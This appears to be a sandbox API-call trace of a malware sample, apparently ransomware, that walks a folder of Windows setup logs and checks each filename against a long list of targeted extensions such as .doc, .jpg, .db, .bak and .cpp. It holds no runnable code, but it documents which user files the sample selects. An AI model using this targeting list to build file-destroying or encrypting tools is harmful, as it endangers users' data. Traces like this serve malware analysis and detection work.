	[0040.826] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0040.826] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0040.826] lstrlenW (lpString=".1cd") returned 4
	[0040.826] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.826] lstrlenW (lpString=".3ds") returned 4
	[0040.826] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0040.826] lstrlenW (lpString=".3fr") returned 4
	[0040.826] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0040.826] lstrlenW (lpString=".3g2") returned 4
	[0040.826] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0040.826] lstrlenW (lpString=".3gp") returned 4
	[0040.826] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0040.826] lstrlenW (lpString=".7z") returned 3
	[0040.826] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.826] lstrlenW (lpString=".accda") returned 6
	[0040.826] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1
	[0040.826] lstrlenW (lpString=".accdb") returned 6
	[0040.827] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1
	[0040.827] lstrlenW (lpString=".accdc") returned 6
	[0040.827] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1
	[0040.827] lstrlenW (lpString=".accde") returned 6
	[0040.827] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1
	[0040.827] lstrlenW (lpString=".accdt") returned 6
	[0040.827] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1
	[0040.827] lstrlenW (lpString=".accdw") returned 6
	[0040.827] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1
	[0040.827] lstrlenW (lpString=".adb") returned 4
	[0040.827] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".adp") returned 4
	[0040.827] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".ai") returned 3
	[0040.827] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0040.827] lstrlenW (lpString=".ai3") returned 4
	[0040.827] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".ai4") returned 4
	[0040.827] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".ai5") returned 4
	[0040.827] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".ai6") returned 4
	[0040.827] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".ai7") returned 4
	[0040.827] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".ai8") returned 4
	[0040.827] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".anim") returned 5
	[0040.827] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1
	[0040.827] lstrlenW (lpString=".arw") returned 4
	[0040.827] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".as") returned 3
	[0040.827] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0040.827] lstrlenW (lpString=".asa") returned 4
	[0040.827] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".asc") returned 4
	[0040.827] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0040.827] lstrlenW (lpString=".ascx") returned 5
	[0040.827] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1
	[0040.828] lstrlenW (lpString=".asm") returned 4
	[0040.828] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".asmx") returned 5
	[0040.828] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1
	[0040.828] lstrlenW (lpString=".asp") returned 4
	[0040.828] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".aspx") returned 5
	[0040.828] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1
	[0040.828] lstrlenW (lpString=".asr") returned 4
	[0040.828] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".asx") returned 4
	[0040.828] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".avi") returned 4
	[0040.828] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".avs") returned 4
	[0040.828] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".backup") returned 7
	[0040.828] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1
	[0040.828] lstrlenW (lpString=".bak") returned 4
	[0040.828] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".bay") returned 4
	[0040.828] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".bd") returned 3
	[0040.828] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0040.828] lstrlenW (lpString=".bin") returned 4
	[0040.828] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".bmp") returned 4
	[0040.828] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".bz2") returned 4
	[0040.828] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".c") returned 2
	[0040.828] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0040.828] lstrlenW (lpString=".cdr") returned 4
	[0040.828] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".cer") returned 4
	[0040.828] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0040.828] lstrlenW (lpString=".cf") returned 3
	[0040.828] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0040.828] lstrlenW (lpString=".cfc") returned 4
	[0040.828] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".cfm") returned 4
	[0040.829] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".cfml") returned 5
	[0040.829] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1
	[0040.829] lstrlenW (lpString=".cfu") returned 4
	[0040.829] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".chm") returned 4
	[0040.829] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".cin") returned 4
	[0040.829] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".class") returned 6
	[0040.829] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1
	[0040.829] lstrlenW (lpString=".clx") returned 4
	[0040.829] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".config") returned 7
	[0040.829] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1
	[0040.829] lstrlenW (lpString=".cpp") returned 4
	[0040.829] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".cr2") returned 4
	[0040.829] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".crt") returned 4
	[0040.829] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".crw") returned 4
	[0040.829] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".cs") returned 3
	[0040.829] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0040.829] lstrlenW (lpString=".css") returned 4
	[0040.829] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".csv") returned 4
	[0040.829] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".cub") returned 4
	[0040.829] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".dae") returned 4
	[0040.829] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".dat") returned 4
	[0040.829] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0040.829] lstrlenW (lpString=".db") returned 3
	[0040.829] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0040.830] lstrlenW (lpString=".dbf") returned 4
	[0040.830] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dbx") returned 4
	[0040.830] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dc3") returned 4
	[0040.830] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dcm") returned 4
	[0040.830] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dcr") returned 4
	[0040.830] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".der") returned 4
	[0040.830] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dib") returned 4
	[0040.830] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dic") returned 4
	[0040.830] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dif") returned 4
	[0040.830] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".divx") returned 5
	[0040.830] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1
	[0040.830] lstrlenW (lpString=".djvu") returned 5
	[0040.830] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1
	[0040.830] lstrlenW (lpString=".dng") returned 4
	[0040.830] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".doc") returned 4
	[0040.830] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".docm") returned 5
	[0040.830] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1
	[0040.830] lstrlenW (lpString=".docx") returned 5
	[0040.830] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0040.830] lstrlenW (lpString=".dot") returned 4
	[0040.830] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0040.830] lstrlenW (lpString=".dotm") returned 5
	[0040.830] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1
	[0040.830] lstrlenW (lpString=".dotx") returned 5
	[0040.831] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1
	[0040.831] lstrlenW (lpString=".dpx") returned 4
	[0040.831] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".dqy") returned 4
	[0040.831] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".dsn") returned 4
	[0040.831] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".dt") returned 3
	[0040.831] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0040.831] lstrlenW (lpString=".dtd") returned 4
	[0040.831] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".dwg") returned 4
	[0040.831] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".dwt") returned 4
	[0040.831] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".dx") returned 3
	[0040.831] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1
	[0040.831] lstrlenW (lpString=".dxf") returned 4
	[0040.831] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".edml") returned 5
	[0040.831] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1
	[0040.831] lstrlenW (lpString=".efd") returned 4
	[0040.831] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".elf") returned 4
	[0040.831] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".emf") returned 4
	[0040.831] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1
	[0040.831] lstrlenW (lpString=".emz") returned 4
	[0040.832] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".epf") returned 4
	[0040.832] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".eps") returned 4
	[0040.832] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".epsf") returned 5
	[0040.832] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1
	[0040.832] lstrlenW (lpString=".epsp") returned 5
	[0040.832] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1
	[0040.832] lstrlenW (lpString=".erf") returned 4
	[0040.832] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".exr") returned 4
	[0040.832] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".f4v") returned 4
	[0040.832] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".fido") returned 5
	[0040.832] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1
	[0040.832] lstrlenW (lpString=".flm") returned 4
	[0040.832] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".flv") returned 4
	[0040.832] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".frm") returned 4
	[0040.832] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1
	[0040.832] lstrlenW (lpString=".fxg") returned 4
	[0040.833] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".geo") returned 4
	[0040.833] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".gif") returned 4
	[0040.833] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".grs") returned 4
	[0040.833] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".gz") returned 3
	[0040.833] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1
	[0040.833] lstrlenW (lpString=".h") returned 2
	[0040.833] lstrcmpiW (lpString1=".h", lpString2="og") returned -1
	[0040.833] lstrlenW (lpString=".hdr") returned 4
	[0040.833] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".hpp") returned 4
	[0040.833] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".hta") returned 4
	[0040.833] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".htc") returned 4
	[0040.833] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".htm") returned 4
	[0040.833] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".html") returned 5
	[0040.833] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1
	[0040.833] lstrlenW (lpString=".icb") returned 4
	[0040.833] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".ics") returned 4
	[0040.833] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".iff") returned 4
	[0040.833] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".inc") returned 4
	[0040.833] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".indd") returned 5
	[0040.833] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1
	[0040.833] lstrlenW (lpString=".ini") returned 4
	[0040.833] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".iqy") returned 4
	[0040.833] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1
	[0040.833] lstrlenW (lpString=".j2c") returned 4
	[0040.833] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".j2k") returned 4
	[0040.834] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".java") returned 5
	[0040.834] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1
	[0040.834] lstrlenW (lpString=".jp2") returned 4
	[0040.834] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".jpc") returned 4
	[0040.834] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".jpe") returned 4
	[0040.834] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".jpeg") returned 5
	[0040.834] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1
	[0040.834] lstrlenW (lpString=".jpf") returned 4
	[0040.834] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".jpg") returned 4
	[0040.834] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".jpx") returned 4
	[0040.834] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".js") returned 3
	[0040.834] lstrcmpiW (lpString1=".js", lpString2="log") returned -1
	[0040.834] lstrlenW (lpString=".jsf") returned 4
	[0040.834] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".json") returned 5
	[0040.834] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1
	[0040.834] lstrlenW (lpString=".jsp") returned 4
	[0040.834] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".kdc") returned 4
	[0040.834] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".kmz") returned 4
	[0040.834] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".kwm") returned 4
	[0040.834] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".lasso") returned 6
	[0040.834] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1
	[0040.834] lstrlenW (lpString=".lbi") returned 4
	[0040.834] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1
	[0040.834] lstrlenW (lpString=".lgf") returned 4
	[0040.834] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".lgp") returned 4
	[0040.835] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".log") returned 4
	[0040.835] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0
	[0040.835] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0040.835] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0040.835] lstrlenW (lpString=".1cd") returned 4
	[0040.835] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".3ds") returned 4
	[0040.835] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".3fr") returned 4
	[0040.835] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".3g2") returned 4
	[0040.835] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".3gp") returned 4
	[0040.835] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".7z") returned 3
	[0040.835] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.835] lstrlenW (lpString=".accda") returned 6
	[0040.835] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1
	[0040.835] lstrlenW (lpString=".accdb") returned 6
	[0040.835] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1
	[0040.835] lstrlenW (lpString=".accdc") returned 6
	[0040.835] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1
	[0040.835] lstrlenW (lpString=".accde") returned 6
	[0040.835] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1
	[0040.835] lstrlenW (lpString=".accdt") returned 6
	[0040.835] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1
	[0040.835] lstrlenW (lpString=".accdw") returned 6
	[0040.835] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1
	[0040.835] lstrlenW (lpString=".adb") returned 4
	[0040.835] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0040.835] lstrlenW (lpString=".adp") returned 4
	[0040.836] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".ai") returned 3
	[0040.836] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0040.836] lstrlenW (lpString=".ai3") returned 4
	[0040.836] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".ai4") returned 4
	[0040.836] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".ai5") returned 4
	[0040.836] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".ai6") returned 4
	[0040.836] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".ai7") returned 4
	[0040.836] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".ai8") returned 4
	[0040.836] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".anim") returned 5
	[0040.836] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1
	[0040.836] lstrlenW (lpString=".arw") returned 4
	[0040.836] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".as") returned 3
	[0040.836] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0040.836] lstrlenW (lpString=".asa") returned 4
	[0040.836] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".asc") returned 4
	[0040.836] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".ascx") returned 5
	[0040.836] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1
	[0040.836] lstrlenW (lpString=".asm") returned 4
	[0040.836] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".asmx") returned 5
	[0040.836] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1
	[0040.836] lstrlenW (lpString=".asp") returned 4
	[0040.836] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0040.836] lstrlenW (lpString=".aspx") returned 5
	[0040.837] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1
	[0040.837] lstrlenW (lpString=".asr") returned 4
	[0040.837] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".asx") returned 4
	[0040.837] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".avi") returned 4
	[0040.837] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".avs") returned 4
	[0040.837] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".backup") returned 7
	[0040.837] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1
	[0040.837] lstrlenW (lpString=".bak") returned 4
	[0040.837] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".bay") returned 4
	[0040.837] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".bd") returned 3
	[0040.837] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0040.837] lstrlenW (lpString=".bin") returned 4
	[0040.837] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".bmp") returned 4
	[0040.837] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".bz2") returned 4
	[0040.837] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".c") returned 2
	[0040.837] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0040.837] lstrlenW (lpString=".cdr") returned 4
	[0040.837] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".cer") returned 4
	[0040.837] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".cf") returned 3
	[0040.837] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0040.837] lstrlenW (lpString=".cfc") returned 4
	[0040.837] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0040.837] lstrlenW (lpString=".cfm") returned 4
	[0040.838] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".cfml") returned 5
	[0040.838] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1
	[0040.838] lstrlenW (lpString=".cfu") returned 4
	[0040.838] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".chm") returned 4
	[0040.838] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".cin") returned 4
	[0040.838] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".class") returned 6
	[0040.838] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1
	[0040.838] lstrlenW (lpString=".clx") returned 4
	[0040.838] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".config") returned 7
	[0040.838] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1
	[0040.838] lstrlenW (lpString=".cpp") returned 4
	[0040.838] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".cr2") returned 4
	[0040.838] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".crt") returned 4
	[0040.838] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".crw") returned 4
	[0040.838] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".cs") returned 3
	[0040.838] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0040.838] lstrlenW (lpString=".css") returned 4
	[0040.838] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".csv") returned 4
	[0040.838] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".cub") returned 4
	[0040.838] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".dae") returned 4
	[0040.838] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0040.838] lstrlenW (lpString=".dat") returned 4
	[0040.838] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".db") returned 3
	[0040.839] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
